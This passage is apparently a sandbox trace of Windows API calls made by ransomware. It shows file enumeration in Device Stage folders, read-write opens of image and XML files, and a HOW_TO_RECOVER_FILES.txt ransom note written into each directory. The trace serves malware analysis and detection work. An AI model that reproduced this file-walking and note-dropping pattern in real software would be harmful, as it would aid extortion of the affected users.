lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="overlay.png", cAlternateFileName="")) returned 1 [0133.343] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x99d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="superbar.png", cAlternateFileName="")) returned 1 [0133.343] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x99d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="superbar.png", cAlternateFileName="")) returned 0 [0133.344] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0133.344] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0133.344] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0133.344] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png", nBufferLength=0x105, lpBuffer=0x10f9650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png", lpFilePart=0x0) returned 0x66 [0133.344] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9b20) returned 1 [0133.344] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png"), fInfoLevelId=0x0, lpFileInformation=0x371b150 | out: lpFileInformation=0x371b150*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1fad1)) returned 1 [0133.345] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9ae0) returned 1 [0133.345] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png", nBufferLength=0x105, lpBuffer=0x10f9500, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png", lpFilePart=0x0) returned 0x66 [0133.345] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9a20) returned 1 [0133.345] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0133.346] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6410) returned 1 [0133.347] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml", nBufferLength=0x105, lpBuffer=0x10f9650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml", lpFilePart=0x0) returned 0x64 [0133.347] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9b20) returned 1 [0133.347] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml"), fInfoLevelId=0x0, lpFileInformation=0x371b9b0 | out: lpFileInformation=0x371b9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb61)) returned 1 [0133.347] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9ae0) returned 1 [0133.347] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml", nBufferLength=0x105, lpBuffer=0x10f94b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml", lpFilePart=0x0) returned 0x64 [0133.347] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f99d0) returned 1 [0133.348] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0133.348] GetFileType (hFile=0x61c) returned 0x1 [0133.348] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9940) returned 1 [0133.348] GetFileType (hFile=0x61c) returned 0x1 [0133.348] GetFileSize (in: hFile=0x61c, lpFileSizeHigh=0x10f9b78 | out: lpFileSizeHigh=0x10f9b78*=0x0) returned 0xb61 [0133.348] ReadFile (in: hFile=0x61c, lpBuffer=0x371c840, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10f9aa8, lpOverlapped=0x0 | out: lpBuffer=0x371c840*, lpNumberOfBytesRead=0x10f9aa8*=0xb61, lpOverlapped=0x0) returned 1 [0133.348] CloseHandle (hObject=0x61c) returned 1 [0133.557] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0134.325] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml", nBufferLength=0x105, lpBuffer=0x10f94b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml", lpFilePart=0x0) returned 0x64 [0134.325] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f99d0) returned 1 [0134.325] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0134.327] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f63c0) returned 1 [0134.328] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png", nBufferLength=0x105, lpBuffer=0x10f9650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png", lpFilePart=0x0) returned 0x62 [0134.328] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9b20) returned 1 [0134.328] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png"), fInfoLevelId=0x0, lpFileInformation=0x3832720 | out: lpFileInformation=0x3832720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadc8)) returned 1 [0134.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9ae0) returned 1 [0134.329] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png", nBufferLength=0x105, lpBuffer=0x10f9500, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png", lpFilePart=0x0) returned 0x62 [0134.329] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9a20) returned 1 [0134.329] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0134.330] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6410) returned 1 [0134.331] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png", nBufferLength=0x105, lpBuffer=0x10f9650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png", lpFilePart=0x0) returned 0x63 [0134.331] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9b20) returned 1 [0134.331] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png"), fInfoLevelId=0x0, lpFileInformation=0x3832fa8 | out: lpFileInformation=0x3832fa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x70c1)) returned 1 [0134.332] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9ae0) returned 1 [0134.332] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png", nBufferLength=0x105, lpBuffer=0x10f9500, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png", lpFilePart=0x0) returned 0x63 [0134.332] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9a20) returned 1 [0134.332] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0134.334] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6410) returned 1 [0134.334] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png", nBufferLength=0x105, lpBuffer=0x10f9650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png", lpFilePart=0x0) returned 0x64 [0134.334] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9b20) returned 1 [0134.334] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png"), fInfoLevelId=0x0, lpFileInformation=0x38337e0 | out: lpFileInformation=0x38337e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x99d3)) returned 1 [0134.335] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9ae0) returned 1 [0134.335] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png", nBufferLength=0x105, lpBuffer=0x10f9500, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png", lpFilePart=0x0) returned 0x64 [0134.335] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9a20) returned 1 [0134.335] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0134.337] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6410) returned 1 [0134.338] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10f97c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x70 [0134.338] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9ce0) returned 1 [0134.338] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x618 [0134.339] GetFileType (hFile=0x618) returned 0x1 [0134.339] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c50) returned 1 [0134.339] GetFileType (hFile=0x618) returned 0x1 [0134.339] WriteFile (in: hFile=0x618, lpBuffer=0x38364c0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10f9da8, lpOverlapped=0x0 | out: lpBuffer=0x38364c0*, lpNumberOfBytesWritten=0x10f9da8*=0x5d0, lpOverlapped=0x0) returned 1 [0134.340] CloseHandle (hObject=0x618) returned 1 [0134.340] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0134.340] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}", nBufferLength=0x105, lpBuffer=0x10f9810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}", lpFilePart=0x0) returned 0x57 [0134.340] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*", lpFindFileData=0x10f9a90 | out: lpFindFileData=0x10f9a90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd554496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x356ee144, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0134.341] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd554496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x356ee144, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.341] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1fad1, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0134.341] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x6cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="behavior.xml", cAlternateFileName="")) returned 1 [0134.341] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x356ee144, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x356ee144, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3570fd39, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0134.341] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="watermark.png", cAlternateFileName="")) returned 1 [0134.341] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0134.342] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0134.342] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0134.342] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0134.342] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0134.342] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}", nBufferLength=0x105, lpBuffer=0x10f9810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}", lpFilePart=0x0) returned 0x57 [0134.342] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*", lpFindFileData=0x10f9a90 | out: lpFindFileData=0x10f9a90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x356ee144, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x356ee144, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0134.342] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x356ee144, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x356ee144, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.342] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1fad1, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0134.342] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x6cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="behavior.xml", cAlternateFileName="")) returned 1 [0134.343] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x356ee144, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x356ee144, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3570fd39, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0134.343] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="watermark.png", cAlternateFileName="")) returned 1 [0134.343] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="watermark.png", cAlternateFileName="")) returned 0 [0134.343] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0134.343] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0134.343] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0134.343] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png", nBufferLength=0x105, lpBuffer=0x10f9650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png", lpFilePart=0x0) returned 0x66 [0134.343] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9b20) returned 1 [0134.343] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png" (normalized: 